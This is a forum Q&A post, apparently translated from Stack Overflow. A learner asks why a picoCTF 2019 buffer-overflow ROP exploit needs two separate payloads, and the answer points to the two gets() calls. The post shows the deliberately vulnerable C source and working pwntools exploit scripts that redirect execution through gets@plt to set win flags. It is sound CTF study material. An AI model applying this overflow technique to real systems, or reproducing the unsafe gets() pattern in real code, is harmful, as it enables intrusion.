为什么利用此漏洞需要两次单独的有效载荷注入,而不是一次?

问题描述 投票:0回答:1

我是二进制开发问题的新手。这个来自picoctf 2019,frog-frog。我感兴趣的特定解决方案在vuln()函数上使用缓冲区溢出来强制执行返回到gets的PLT条目。这样做是因为gets允许我们写入内存中的任意位置(请参见link)。我们有兴趣写win1win2win3。如果我们可以将每个参数都设置为true,则可以打印该标志!因此,我们需要利用该程序的是buffer + address_gets_plt + address_flag + address_win1 + values_for_win_vartiables

来源

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>


#define FLAG_SIZE 64

bool win1 = false;
bool win2 = false;
bool win3 = false;

void leapA() {
  win1 = true;
}

void leap2(unsigned int arg_check) {
  if (win3 && arg_check == 0xDEADBEEF) {
    win2 = true;
  }
  else if (win3) {
    printf("Wrong Argument. Try Again.\n");
  }
  else {
    printf("Nope. Try a little bit harder.\n");
  }
}

void leap3() {
  if (win1 && !win1) {
    win3 = true;
  }
  else {
    printf("Nope. Try a little bit harder.\n");
  }
}

void display_flag() {
  char flag[FLAG_SIZE];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("'flag.txt' missing in the current directory!\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);

  if (win1 && win2 && win3) {
    printf("%s", flag);
    return;
  }
  else if (win1 || win3) {
    printf("Nice Try! You're Getting There!\n");
  }
  else {
    printf("You won't get the flag that easy..\n");
  }
}

void vuln() {
  char buf[16];
  printf("Enter your input> ");
  return gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
}

以下脚本在CTF的shell中运行时会打印标志

解决方案脚本

from pwn import *

payload = ('A'*28) + p32(0x08048430)  + p32(0x80486b3) + p32(0x0804a03d)
#       =          + address_gets_plt + address_flag   + address_win1
try:
    p = process('./rop')
    p.recvuntil('> ')
    p.sendline(payload)
    p.sendline('\x01\x01\x01\x00')  # sets win1, win2, win3 to true via gets reading from stdin
    print('Flag: ' + p.recvuntil('}'))
    break
except:
    p.close()

以下脚本可以NOT起作用,但是程序之间的唯一区别是该程序合并了sendline()调用。我猜这是因为程序尚未到达对get的调用,所以它尚未准备好从stdin输入。

失败的解决方案1

from pwn import *

payload = ('A'*28) + p32(0x08048430)  + p32(0x80486b3) + p32(0x0804a03d)
#       =          + address_gets_plt + address_flag   + address_win1
try:
    p = process('./rop')
    p.recvuntil('> ')
    p.sendline(payload+'\x01\x01\x01\x00')
    print('Flag: ' + p.recvuntil('}'))
    break
except:
    p.close()

失败的解决方案2

然后,我尝试在不将'\x01\x01\x01\x00\'附加到payload的情况下运行该程序,希望执行会命中gets并等待stdin输入;但是,我却遇到了段错误。对于这两个失败的解决方案,我的逻辑有什么问题?谢谢!

c exploit gets ctf
1个回答
0
投票

您需要两个不同的有效负载,因为对gets()有两个不同的调用。 sendline()在输入/有效负载[1]后面添加换行符,gets()读取输入,直到读取换行符[2]。因此,一个sendline()仅提供一个gets()

© www.soinside.com 2019 - 2024. All rights reserved.